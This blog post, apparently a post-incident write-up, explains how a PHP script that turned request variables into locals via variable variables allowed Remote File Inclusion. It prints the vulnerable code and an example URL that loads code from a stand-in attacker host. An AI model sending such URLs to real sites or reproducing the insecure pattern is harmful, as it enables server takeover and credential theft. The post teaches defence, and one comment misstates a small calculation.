Something incredibly stupid…

So I spent a few days last week helping a client locate the source of a server compromise. The point of attack turned out to be a very poorly written php script. Apparently miffed by the initiative to turn register globals off, and yet too lazy to directly call only the variables that were supposed to be passed legitimately, the author of this script used a method I’ve seen a few times before. Basically you loop thru either GET or POST and use PHP’s variable variables to assign anything there to a local variable. Anytime you’re using variable variables you need to be extremely careful, even more so when you are creating variables from user submitted values.

Here’s the extremely vulnerable code in question…

$include_path = dirname(__FILE__);

if (!isset($PHP_SELF)) {
    $PHP_SELF = $HTTP_SERVER_VARS["PHP_SELF"];
    if (isset($HTTP_GET_VARS)) {
        while (list($name, $value)=each($HTTP_GET_VARS)) {
            $$name=$value;
        }
    }
    if (isset($HTTP_POST_VARS)) {
        while (list($name, $value)=each($HTTP_POST_VARS)) {
            $$name=$value;
        }
    }
    if(isset($HTTP_COOKIE_VARS)){
        while (list($name, $value)=each($HTTP_COOKIE_VARS)){
            $$name=$value;
        }
    }
}

require $include_path."/include/config.inc.php";
require $include_path."/include/$POLLDB[class]";
require $include_path."/include/class_poll.php";
require $include_path."/include/class_pgfx.php";

Hopefully you looked at that and immediately thought, HOLY CRAP!!! Because that’s a security hole big enough to drive drive a truck thru. But if you’re not seeing it, let me step thru what’s going on here.

Basically this coder was too lazy to plan out their own code to the point of this_file.php is going to send a variable named “xyz” to that_file.php. And since register globals could be off in the install environment the author came up with a way to make any GET or POST or COOKIE magically be available without having to remember what the name of the variable might be or having to type a few extra characters like $_GET. What the author inadvertently did is open up the app to what is known as a Remote File Inclusion attack.

It all starts by looping thru $_GET and assigning anything in there into a local variable using PHP’s variable variables:

if (isset($HTTP_GET_VARS)) {
    while (list($name, $value)=each($HTTP_GET_VARS)) {
        $$name=$value;
    }
}

And of course this happens before a bunch of requires that have guess what… local variables in their path calls. So what happens is some jack ass calls the script in their browser like this:

http://website.com/vulnerable_script.php?include_path=http://my-hacker-website.com/sniffer_script.php?ignore=

and now the local variable set in the very first line ($include_path) to point to a local directory has just had is value changed to a remote location and the rest of the path hard coded in the require statement is dumped to the side. When php puts back together the path what you now have is:

http://my-hacker-website.com/sniffer_script.php?ignore=/include/config.inc.php

The hacker’s sniffer_script.php has just been included and executed in the context of this server and this application. That sniffer script is going to do all kinds of funs things like dump all of the predefined variables ($_SESSION, $_COOKIE), probably try to sniff out things like DB passwords stored in variables (how many of us use something like $db_pass as a variable to store the password for your DB connection?) and then call phpinfo() to top it all off.

Chances are, at this point the attacker has everything they need… but don’t forget, they aren’t limited just to sniffing out your environment. They can basically execute any php code just by remotely including it in the same way. That’s a very bad deal!!

The solution is two fold. First don’t be lazy with ANYTHING that a user has the ability to affect. That means for god’s sake put down the AMP and Cheetos long enough to define and filter variables coming from the user. And second if you have control of the environment, consider setting allow_url_fopen off unless your environment really needs it to be on.

2 Comments

  1. Jim Mayes

    # June 12, 2008 - 12:29 pm

    something else I forgot to suggest in the original post… things as crucial as local root paths should be set as constants not just simple variables.

    Had $include_path in the above code instead been defined as a constant, the attack would have failed because a constant can not be redefined within the execution of a script. So if line 1 was instead:

    define(MY_INCLUDE_PATH, dirname(__FILE__));
    

    and the require statements similarly updated to use the constant like:

    require( MY_INCLUDE_PATH."/include/config.inc.php" );
    

    Then this particular attack vector would have been closed. However it’s still bad form to use variable variables in this way as it just creates to many opportunities for a user to overwrite local variables. Basically if you’re doing that, you need to validate every variable for integrity in your script. It’s a lot more manageable to deal with (clean & validate) a hand full of known variables supplied by users than it is to do the same for every variable you use throughout your entire script.

  2. Steve Nguyen

    # December 21, 2009 - 2:28 am

    I’ve seen some bad code myself.

    I once had a co-worker generate a unique user name from using the first two characters of an MD5 string and appending it to a First_Name_Last_Name string.

    He kept wondering why there was unique user name collisions. He didn’t realize 2 positions and 16 hexadecimal values meant 2^16 coupled with a small name space (human names). And he thought it was somehow going to be more uniquely generated because it came from an MD5 hash as opposed to a random function.

    I also once had a co-worker use recursion as a looping mechanism versus an iterative approach. He didn’t do it for elegance like for GCF, he did it for mundane looping purposes. He kept wondering why the Zend engine ran out of memory.

    And I also knew a guy that used a switch statement on a boolean value. :-p

Leave a Reply